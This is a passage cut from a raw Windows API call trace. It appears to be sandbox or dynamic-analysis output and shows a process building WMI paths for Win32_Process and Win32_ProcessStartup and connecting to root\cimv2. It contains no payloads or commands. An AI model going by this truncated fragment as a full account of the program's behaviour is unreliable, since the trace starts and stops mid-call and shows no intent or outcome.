Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3a800) returned 0x0 [0067.227] WbemDefPath:IUnknown:AddRef (This=0x1bf3a800) returned 0x3 [0067.227] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x2 [0067.228] WbemDefPath:IWbemPath:SetText (This=0x1bf3a800, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0067.228] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0067.228] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0067.228] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0067.228] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3a800, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0067.228] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0067.228] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3a800, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0067.228] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0067.228] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0067.231] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0067.231] IUnknown:Release (This=0x111f638) returned 0x1 [0067.233] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf3e440) returned 0x0 [0067.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3e440, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0067.233] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3e440, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3bd00) returned 0x0 [0067.234] WbemDefPath:IUnknown:Release (This=0x1bf3e440) returned 0x0 [0067.234] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3bd00) returned 0x0 [0067.234] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0067.234] WbemDefPath:IUnknown:AddRef (This=0x1bf3bd00) returned 0x3 [0067.234] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0067.234] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0067.234] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf3e4c0) returned 0x0 [0067.234] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3e4c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.234] WbemDefPath:IUnknown:Release (This=0x1bf3e4c0) returned 0x3 [0067.234] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0067.234] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0067.235] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0067.235] WbemDefPath:IUnknown:Release (This=0x1bf3bd00) returned 0x2 [0067.235] WbemDefPath:IUnknown:Release (This=0x1bf3bd00) returned 0x1 [0067.235] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0067.235] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0067.235] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3bd00) returned 0x0 [0067.235] WbemDefPath:IUnknown:AddRef (This=0x1bf3bd00) returned 0x3 [0067.235] WbemDefPath:IUnknown:Release (This=0x1bf3bd00) returned 0x2 [0067.235] WbemDefPath:IWbemPath:SetText (This=0x1bf3bd00, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bd00, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bd00, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bd00, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3bd00, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bd00, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3bd00, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bd00, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.235] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0067.236] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0067.236] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0067.236] IUnknown:Release (This=0x111f638) returned 0x1 [0067.238] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf3e140) returned 0x0 [0067.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3e140, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0067.238] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3e140, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf3bdc0) returned 0x0 [0067.238] WbemDefPath:IUnknown:Release (This=0x1bf3e140) returned 0x0 [0067.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf3bdc0) returned 0x0 [0067.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0067.239] WbemDefPath:IUnknown:AddRef (This=0x1bf3bdc0) returned 0x3 [0067.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0067.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0067.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bf3e180) returned 0x0 [0067.239] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3e180, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.239] WbemDefPath:IUnknown:Release (This=0x1bf3e180) returned 0x3 [0067.239] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0067.239] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0067.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0067.239] WbemDefPath:IUnknown:Release (This=0x1bf3bdc0) returned 0x2 [0067.239] WbemDefPath:IUnknown:Release (This=0x1bf3bdc0) returned 0x1 [0067.239] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0067.239] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0067.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf3bdc0) returned 0x0 [0067.239] WbemDefPath:IUnknown:AddRef (This=0x1bf3bdc0) returned 0x3 [0067.239] WbemDefPath:IUnknown:Release (This=0x1bf3bdc0) returned 0x2 [0067.239] WbemDefPath:IWbemPath:SetText (This=0x1bf3bdc0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0067.240] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bdc0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0067.240] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bdc0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0067.240] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bdc0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.240] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0067.240] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0067.240] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0067.240] IUnknown:Release (This=0x111f638) returned 0x1 [0067.241] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bf3e120) returned 0x0 [0067.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3e120, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0067.241] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf3e120, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bf3e0e0) returned 0x0 [0067.241] WbemLocator:IUnknown:Release (This=0x1bf3e120) returned 0x0 [0067.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3e0e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bf3e0e0) returned 0x0 [0067.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3e0e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0067.242] WbemLocator:IUnknown:AddRef (This=0x1bf3e0e0) returned 0x3 [0067.242] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3e0e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0067.242] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3e0e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0067.242] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3e0e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0067.242] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0067.242] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0067.242] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3e0e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0067.242] WbemLocator:IUnknown:Release (This=0x1bf3e0e0) returned 0x2 [0067.242] WbemLocator:IUnknown:Release (This=0x1bf3e0e0) returned 0x1 [0067.242] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0067.242] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0067.242] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3e0e0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bf3e0e0) returned 0x0 [0067.242] WbemLocator:IUnknown:AddRef (This=0x1bf3e0e0) returned 0x3 [0067.242] WbemLocator:IUnknown:Release (This=0x1bf3e0e0) returned 0x2 [0067.242] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bdc0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0067.243] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bdc0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0067.243] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bdc0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.243] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bf3e100) returned 0x0 [0067.243] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf3e100, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x11c8ac0) returned 0x0 [0067.372] WbemLocator:IUnknown:QueryInterface (in: This=0x11c8ac0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bef1330) returned 0x0 [0067.372] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef1330, pProxy=0x11c8ac0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0067.372] WbemLocator:IUnknown:Release (This=0x1bef1330) returned 0x1 [0067.372] WbemLocator:IUnknown:QueryInterface (in: This=0x11c8ac0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bef1370) returned 0x0 [0067.372] WbemLocator:IUnknown:QueryInterface (in: This=0x11c8ac0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bef1330) returned 0x0 [0067.372] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef1330, pProxy=0x11c8ac0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0067.372] WbemLocator:IUnknown:Release (This=0x1bef1330) returned 0x2 [0067.372] WbemLocator:IUnknown:Release (This=0x1bef1370) returned 0x1 [0067.372] CoTaskMemFree (pv=0x1bf3d430) [0067.372] WbemLocator:IUnknown:AddRef (This=0x11c8ac0) returned 0x2 [0067.373] WbemLocator:IUnknown:Release (This=0x1bf3e100) returned 0x0 [0067.373] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0067.373] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0067.373] WbemLocator:IUnknown:QueryInterface (in: This=0x11c8ac0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bef1340) returned 0x0 [0067.373] WbemLocator:IRpcOptions:Query (in: This=0x1bef1340, 